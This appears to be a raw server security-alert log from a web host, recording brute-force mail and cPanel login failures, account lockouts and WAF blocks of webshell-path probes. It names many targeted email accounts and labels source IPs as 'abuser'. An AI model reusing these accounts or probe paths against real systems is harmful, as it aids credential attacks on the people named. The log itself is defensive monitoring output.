2026-01-30 18:51:56 dovecot_login authenticator failed for H=([37.57.69.227]) [37.57.69.227]:56192: 535 Incorrect authentication data (set_id=info@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.24.141.119
country_id: 1814991
description:
2026-01-30 18:52:14 dovecot_login authenticator failed for H=([27.24.141.119]) [27.24.141.119]:59560: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.48.112.8
country_id: 1835841
description:
2026-01-30 18:52:26 dovecot_login authenticator failed for H=([14.48.112.8]) [14.48.112.8]:1662: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.174.86.4
country_id: 1814991
description:
2026-01-30 18:52:27 dovecot_login authenticator failed for H=([60.174.86.4]) [60.174.86.4]:60477: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-01-30 18:52:55 dovecot_plain authenticator failed for H=54.126.103.87.rev.vodafone.pt (catifinus) [87.103.126.54]:57219: 535 Incorrect authentication data (set_id=khairul_aa@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.229.36
country_id: 1269750
description:
2026-01-30 18:52:26 dovecot_login authenticator failed for H=([122.187.229.36]) [122.187.229.36]:59937: 535 Incorrect authentication data (set_id=admin@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.215.204.109
country_id: 3469034
description:
2026-01-30 18:52:36 dovecot_login authenticator failed for H=(igrejadorecreio.static.host.gvt.net.br) [186.215.204.109]:51654: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.57.69.227
country_id: 690791
description:
2026-01-30 18:53:10 dovecot_login authenticator failed for H=(227.69.57.37.triolan.net) [37.57.69.227]:38122: 535 Incorrect authentication data (set_id=admin@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.230.134
country_id: 1269750
description:
2026-01-30 18:55:41 dovecot_login authenticator failed for H=([182.95.215.73]) [182.95.230.134]:56634: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.202.139.244
country_id: 1835841
description:
2026-01-30 18:55:43 dovecot_login authenticator failed for H=([119.202.139.244]) [119.202.139.244]:34883: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.216.66
country_id: 1269750
description:
2026-01-30 18:55:28 dovecot_login authenticator failed for H=([182.66.234.193]) [125.19.216.66]:45346: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 18:56:06 dovecot_login authenticator failed for H=(mmNUtA) [178.16.54.138]:52304: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 144.31.238.24
country_id: 6252001
description:
[2026-01-30 18:57:21 +0800] info [cpaneld] 144.31.238.24 - payment@tujusetia.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.178.122
country_id: 1269750
description:
2026-01-30 18:57:54 dovecot_login authenticator failed for H=([128.185.223.36]) [182.95.178.122]:35164: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 74.7.227.52
country_id: 6252001
domain: task.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.69||T:APACHE||MVN:REQUEST_FILENAME||MV:/tests/vendor/symfony/finder/Tests/Fixtures/A/a.dat||User:visoftcom||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 18:57:32 dovecot_login authenticator failed for H=(o9uRSIMGY) [178.16.54.138]:56590: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.33.204.130
country_id: 2017370
description:
2026-01-30 18:57:52 dovecot_login authenticator failed for H=(213.33.204.130.moscow.gldn.net) [213.33.204.130]:33154: 535 Incorrect authentication data (set_id=admin@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 18:58:10 dovecot_login authenticator failed for H=(5QLe5BkWx) [178.16.54.138]:64635: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.33.204.130
country_id: 2017370
description:
2026-01-30 18:58:23 dovecot_login authenticator failed for H=(213.33.204.130.moscow.gldn.net) [213.33.204.130]:40320: 535 Incorrect authentication data (set_id=admin)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 177.162.3.88
country_id: 3469034
domain: mokshana.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:85125.mokshana.com.my||ServerName:mokshana.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:5546540017db69bd26cff206d8228aaf90405d61||Title:0xd7bd59f4||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 18:59:34 dovecot_login authenticator failed for H=(AXhN6c) [178.16.54.138]:52135: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.179.17.119
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=60091516587529 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:00:13 dovecot_login authenticator failed for H=(RhLQuHI) [178.16.54.138]:64032: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-30 19:00:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:58345: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.49.113.138
country_id: 1814991
description:
2026-01-30 19:00:13 dovecot_login authenticator failed for H=([218.106.120.18]) [58.49.113.138]:14976: 535 Incorrect authentication data (set_id=info@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.80.223.144
country_id: 1835841
description:
2026-01-30 19:01:39 dovecot_login authenticator failed for H=([220.80.223.144]) [220.80.223.144]:48916: 535 Incorrect authentication data (set_id=admin@ajplantations.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.177.121.42
country_id: 1562822
domain: aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/aoto.com.my/product.php?category&sub=Fun Clear HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.214.164.31
country_id: 6252001
description:
2026-01-30 19:01:52 dovecot_login authenticator failed for H=(ADMIN) [181.214.164.31]:9157: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:01:14 dovecot_login authenticator failed for H=(bjAlTRk) [178.16.54.138]:54720: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.183.138
country_id: 1269750
description:
2026-01-30 19:02:36 dovecot_login authenticator failed for H=([125.23.183.138]) [125.23.183.138]:40360: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:02:13 dovecot_login authenticator failed for H=(kFHXFv) [185.230.124.69]:61623: 535 Incorrect authentication data (set_id=kok-hoe.chin@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 149.54.62.62
country_id: 1149361
description:
2026-01-30 19:02:56 dovecot_login authenticator failed for H=([149.54.62.62]) [149.54.62.62]:46825: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.223.168.28
country_id: 2963597
domain: ajresorts.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/wp-content/uploads/BbUMY/flower.php||SC:/home2/ajresortscom/public_html/wp-content||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/images/images/article.php||SC:/home/indfinitydesign/public_html/images/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:02:17 dovecot_login authenticator failed for H=(mFzRDj7sk) [178.16.54.138]:63672: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:03:22 dovecot_login authenticator failed for H=(m4pTVQ) [178.16.54.138]:51985: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:03:05 dovecot_login authenticator failed for H=(2fjbXkMz) [185.230.124.69]:57596: 535 Incorrect authentication data (set_id=kok-hoe.chin@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.136.221.212
country_id: 2921044
description:
2026-01-30 19:03:26 dovecot_plain authenticator failed for H=p5488ddd4.dip0.t-ipconnect.de (progree) [84.136.221.212]:35097: 535 Incorrect authentication data (set_id=khairul_aa@ajplantations.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.171.159.145
country_id: 3996063
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=940617 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.184.36.53
country_id: 1814991
description:
2026-01-30 19:04:01 dovecot_login authenticator failed for H=([61.184.36.58]) [61.184.36.53]:43187: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 47.128.127.156
country_id: 1880251
domain: www.task.visoft.com.my
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:04:38 dovecot_login authenticator failed for H=(Sq36t2h) [178.16.54.138]:52714: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.61.176.110
country_id: 3469034
description:
2026-01-30 19:04:41 dovecot_login authenticator failed for H=(177-61-176-110.dsl.telesp.net.br) [177.61.176.110]:52681: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:04:17 dovecot_login authenticator failed for H=(saWwixDoW) [185.230.124.69]:53808: 535 Incorrect authentication data (set_id=kok-hoe.chin@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.117.0.253
country_id: 1835841
description:
2026-01-30 19:04:49 dovecot_login authenticator failed for H=([222.117.0.253]) [222.117.0.253]:48391: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.234.232.184
country_id: 1814991
description:
2026-01-30 19:04:06 dovecot_login authenticator failed for H=([120.234.232.184]) [120.234.232.184]:45126: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 180.250.44.123
country_id: 1643084
description:
[2026-01-30 19:05:34 +0800] info [cpaneld] 180.250.44.123 - adssadadsa "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user adssadadsa (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.244.60.35
country_id: 1562822
description:
2026-01-30 19:05:03 dovecot_login authenticator failed for H=([171.244.60.35]) [171.244.60.35]:31306: 535 Incorrect authentication data (set_id=ysl)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/home/druma.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:05:48 dovecot_login authenticator failed for H=(xCughQR) [178.16.54.138]:62281: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 19:05:51 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kok-hoe.chin@cofreth.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:05:07 dovecot_login authenticator failed for H=(wuM7zsKug) [185.230.124.69]:49648: 535 Incorrect authentication data (set_id=kok-hoe.chin@cofreth.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.145.216
country_id: 1880251
domain: mail.fkr.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/images/contact.php||SC:/home2/fkrcom/public_html/index.php||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 19:06:14 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kok-hoe.chin@cofreth.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:06:16 dovecot_login authenticator failed for H=(Pc4JnSMQ) [185.230.124.69]:53382: 535 Incorrect authentication data (set_id=kok-hoe.chin@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:06:24 dovecot_login authenticator failed for H=(pPQZemy5D) [178.16.54.138]:59250: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:06:46 dovecot_login authenticator failed for H=(vzuNW4WE) [185.230.124.69]:50560: 535 Incorrect authentication data (set_id=kok-hoe.chin@cofreth.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 19:07:24 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kok-hoe.chin@cofreth.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.185.170
country_id: 1269750
description:
2026-01-30 19:07:29 dovecot_login authenticator failed for H=([182.95.185.170]) [182.95.185.170]:46534: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.30.127.9
country_id: 1814991
description:
2026-01-30 19:07:42 dovecot_login authenticator failed for H=([112.29.109.174]) [112.30.127.9]:38485: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.17
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/portfolio/img/img/demos/img/img/img/product.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.4.199.164
country_id: 1814991
description:
2026-01-30 19:07:51 dovecot_login authenticator failed for H=(164.199.4.122.broad.wf.sd.dynamic.163data.com.cn) [122.4.199.164]:57487: 535 Incorrect authentication data (set_id=admin@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:07:02 dovecot_login authenticator failed for H=(CTZSwU0) [185.230.124.69]:55434: 535 Incorrect authentication data (set_id=kok-hoe.chin@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.232.220.147
country_id: 3144096
description:
2026-01-30 19:07:09 dovecot_login authenticator failed for H=(cm-178.232.220.147.get.no) [178.232.220.147]:45755: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.246.178
country_id: 1269750
description:
2026-01-30 19:07:19 dovecot_login authenticator failed for H=([152.52.246.178]) [152.52.246.178]:55592: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:07:35 dovecot_login authenticator failed for H=(Ig0oyTqhP) [178.16.54.138]:63437: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.178.222.53
country_id: 2017370
description:
2026-01-30 19:08:52 dovecot_login authenticator failed for H=([178.178.222.53]) [178.178.222.53]:33974: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:08:13 dovecot_login authenticator failed for H=(f87AjQ) [178.16.54.138]:65146: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.98.68.199
country_id: 1835841
description:
2026-01-30 19:08:15 dovecot_login authenticator failed for H=([183.98.68.199]) [183.98.68.199]:48960: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.11.162.163
country_id: 298795
description:
2026-01-30 19:08:39 dovecot_login authenticator failed for H=([5.11.162.163]) [5.11.162.163]:40464: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:08:09 dovecot_login authenticator failed for H=(7DEH2ens47) [185.230.124.69]:54164: 535 Incorrect authentication data (set_id=kok-hoe.chin@cofreth.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 19:08:07 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kok-hoe.chin@cofreth.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:09:23 dovecot_login authenticator failed for H=(EPyrxd) [185.230.124.69]:56462: 535 Incorrect authentication data (set_id=kok-hoe.chin@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:09:27 dovecot_login authenticator failed for H=(nj6Z47c) [178.16.54.138]:52520: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.111.221.41
country_id: 1210997
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=76741515043684 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.210
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/portfolio/img/img/img/demos/img/news.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 113.30.190.49
country_id: 2921044
description:
2026-01-30 19:09:37 H=([113.30.190.49]) [113.30.190.49]:60900 F=<administrator@ktlog.com.my> rejected RCPT <jacklim@ktlog.com.my>: smtp auth required


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.73.190.98
country_id: 1835841
description:
2026-01-30 19:09:45 dovecot_login authenticator failed for H=([61.73.190.98]) [61.73.190.98]:52939: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 50146
name: Multiple aborted logins to database.
abuser: 172.174.230.96
country_id: 6252001
description:
2026-01-30 19:10:00 1038975 [Warning] Aborted connection 1038975 to db: 'unconnected' user: 'unauthenticated' host: '172.174.230.96' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.6.108.13
country_id: 1814991
description:
2026-01-30 19:09:16 dovecot_login authenticator failed for H=([119.6.108.13]) [119.6.108.13]:59440: 535 Incorrect authentication data (set_id=support@ocned.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 19:09:21 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kok-hoe.chin@cofreth.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 172.174.230.96
country_id: 6252001
description:
2026-01-30 19:09:57 1038968 [Warning] Aborted connection 1038968 to db: 'unconnected' user: 'unauthenticated' host: '172.174.230.96' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:10:10 dovecot_login authenticator failed for H=(nN7jDPs) [185.230.124.69]:51314: 535 Incorrect authentication data (set_id=kok-hoe.chin@cofreth.com.my)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 74.7.227.52
country_id: 6252001
domain: task.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.71||T:APACHE||MVN:REQUEST_FILENAME||MV:/tests/vendor/symfony/translation/Loader/schema/dic/xliff-core/xml.xsd||User:visoftcom||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.238.23.168
country_id: 1814991
description:
2026-01-30 19:10:57 dovecot_login authenticator failed for H=([120.238.23.168]) [120.238.23.168]:36117: 535 Incorrect authentication data (set_id=admin@mkmetal.com.my)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 172.174.230.96
country_id: 6252001
description:
2026-01-30 19:10:02 1038980 [Warning] Aborted connection 1038980 to db: 'unconnected' user: 'unauthenticated' host: '172.174.230.96' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:10:03 dovecot_login authenticator failed for H=(QKL3soR5) [178.16.54.138]:57717: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 19:10:08 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kok-hoe.chin@cofreth.com.my has been locked for the attacker IP 185.230.124.69


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.64
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/news-n-events/img/img/img/img/demos/img/new-development.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:11:04 dovecot_login authenticator failed for H=(npJF9Zw) [178.16.54.138]:57512: 535 Incorrect authentication data (set_id=daniel@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:11:19 dovecot_login authenticator failed for H=(IJgEg9n) [185.230.124.69]:57650: 535 Incorrect authentication data (set_id=kok-hoe.chin@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.193.147.75
country_id: 1269750
description:
2026-01-30 19:11:55 dovecot_login authenticator failed for H=([203.193.147.75]) [203.193.147.75]:49152: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.216.169.12
country_id: 2328926
description:
2026-01-30 19:11:43 dovecot_login authenticator failed for H=([41.216.169.12]) [41.216.169.12]:36878: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:12:16 dovecot_login authenticator failed for H=(wK4WicNw) [178.16.54.138]:60534: 535 Incorrect authentication data (set_id=daniel@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:12:05 dovecot_login authenticator failed for H=(TJKxC8) [185.230.124.69]:56217: 535 Incorrect authentication data (set_id=kok-hoe.chin@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.228.231
country_id: 1269750
description:
2026-01-30 19:12:12 dovecot_login authenticator failed for H=(nsg-corporate-231.228.187.122.airtel.in) [122.187.228.231]:56165: 535 Incorrect authentication data (set_id=admin@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:13:11 dovecot_login authenticator failed for H=(LX69k3J3) [185.230.124.69]:59866: 535 Incorrect authentication data (set_id=kok-hoe.chin@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:13:20 dovecot_login authenticator failed for H=(8RHc4gKY) [178.16.54.138]:52211: 535 Incorrect authentication data (set_id=daniel@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.190
country_id: 1814991
description:
2026-01-30 19:13:10 dovecot_login authenticator failed for H=([111.61.177.190]) [111.61.177.190]:55364: 535 Incorrect authentication data (set_id=admin@stonewld.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.111
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/themes/clean-commerce/third-party/images/sliders/cdn-cgi/l/career.php||SC:/home/sutsbcom/public_html/wp-content/themes/clean-commerce||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.172.230.184
country_id: 1814991
description:
2026-01-30 19:14:54 dovecot_login authenticator failed for H=([60.172.230.184]) [60.172.230.184]:60605: 535 Incorrect authentication data (set_id=support@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.88.184
country_id: 1668284
description:
2026-01-30 19:14:03 dovecot_login authenticator failed for H=110-25-88-184.adsl.fetnet.net [110.25.88.184]:50635: 535 Incorrect authentication data (set_id=support@euratech.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 19:14:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kok-hoe.chin@cofreth.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:14:19 dovecot_login authenticator failed for H=(AFvcE0u) [185.230.124.69]:49767: 535 Incorrect authentication data (set_id=kok-hoe.chin@cofreth.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.138
country_id: 2750405
description:
